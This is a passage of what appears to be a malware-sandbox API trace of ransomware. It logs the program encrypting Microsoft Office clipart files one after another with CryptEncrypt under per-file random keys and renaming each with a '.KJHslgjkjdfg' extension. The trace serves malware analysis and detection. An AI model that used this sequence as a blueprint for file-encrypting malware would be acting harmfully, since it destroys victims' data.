(in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.417] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.417] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.418] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.418] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.418] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4464, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4464, lpOverlapped=0x0) returned 1 [0202.419] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4470, dwBufLen=0x4470 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4470) returned 1 [0202.419] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.419] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4470, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4470, lpOverlapped=0x0) returned 1 [0202.419] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.419] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.419] SetEndOfFile (hFile=0x130) returned 1 [0202.420] GetProcessHeap () returned 0x2ef0000 [0202.420] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.420] GetProcessHeap () returned 0x2ef0000 [0202.420] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.420] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.kjhslgjkjdfg")) returned 1 [0202.421] CloseHandle (hObject=0x130) returned 1 [0202.421] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153508.WMF", cAlternateFileName="")) returned 1 [0202.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.423] GetProcessHeap () returned 0x2ef0000 [0202.423] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.423] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.423] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.423] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.423] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.423] GetProcessHeap () returned 0x2ef0000 [0202.423] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.423] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.423] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.423] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.425] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.425] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.425] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.425] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.425] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.425] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.425] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x85d0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x85d0, lpOverlapped=0x0) returned 1 [0202.426] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x85d0, dwBufLen=0x85d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x85d0) returned 1 [0202.427] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.427] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x85d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x85d0, lpOverlapped=0x0) returned 1 [0202.427] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.427] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x86a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.427] SetEndOfFile (hFile=0x130) returned 1 [0202.429] GetProcessHeap () returned 0x2ef0000 [0202.429] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.429] GetProcessHeap () returned 0x2ef0000 [0202.429] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.429] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.kjhslgjkjdfg")) returned 1 [0202.431] CloseHandle (hObject=0x130) returned 1 [0202.431] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x31d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153514.WMF", cAlternateFileName="")) returned 1 [0202.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.431] GetProcessHeap () returned 0x2ef0000 [0202.431] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.431] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.432] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.432] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.432] GetProcessHeap () returned 0x2ef0000 [0202.432] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.432] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.432] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.432] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.433] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.433] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.433] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.433] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.433] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.433] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.434] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.434] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.434] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x31d0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x31d0, lpOverlapped=0x0) returned 1 [0202.435] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x31d0, dwBufLen=0x31d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x31d0) returned 1 [0202.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.435] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x31d0, lpOverlapped=0x0) returned 1 [0202.435] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x32a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.435] SetEndOfFile (hFile=0x130) returned 1 [0202.437] GetProcessHeap () returned 0x2ef0000 [0202.437] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.437] GetProcessHeap () returned 0x2ef0000 [0202.437] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.437] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.kjhslgjkjdfg")) returned 1 [0202.438] CloseHandle (hObject=0x130) returned 1 [0202.438] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153516.WMF", cAlternateFileName="")) returned 1 [0202.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.439] GetProcessHeap () returned 0x2ef0000 [0202.439] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.439] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.439] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.441] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.441] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.441] GetProcessHeap () returned 0x2ef0000 [0202.441] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.441] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.441] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.441] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.441] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.441] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.442] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.442] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.442] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.442] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.442] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1d08, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1d08, lpOverlapped=0x0) returned 1 [0202.443] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d10, dwBufLen=0x1d10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d10) returned 1 [0202.443] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.443] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1d10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1d10, lpOverlapped=0x0) returned 1 [0202.443] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.443] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.443] SetEndOfFile (hFile=0x130) returned 1 [0202.445] GetProcessHeap () returned 0x2ef0000 [0202.445] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.446] GetProcessHeap () returned 0x2ef0000 [0202.446] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.446] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.kjhslgjkjdfg")) returned 1 [0202.447] CloseHandle (hObject=0x130) returned 1 [0202.447] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x30f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153518.WMF", cAlternateFileName="")) returned 1 [0202.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.448] GetProcessHeap () returned 0x2ef0000 [0202.448] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.448] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.448] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.448] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.448] GetProcessHeap () returned 0x2ef0000 [0202.448] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.448] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.448] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.448] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.450] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.450] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.450] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.451] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.451] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.451] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.451] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x30f0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x30f0, lpOverlapped=0x0) returned 1 [0202.452] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30f0, dwBufLen=0x30f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30f0) returned 1 [0202.452] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.452] WriteFile (in: hFile=0x130, 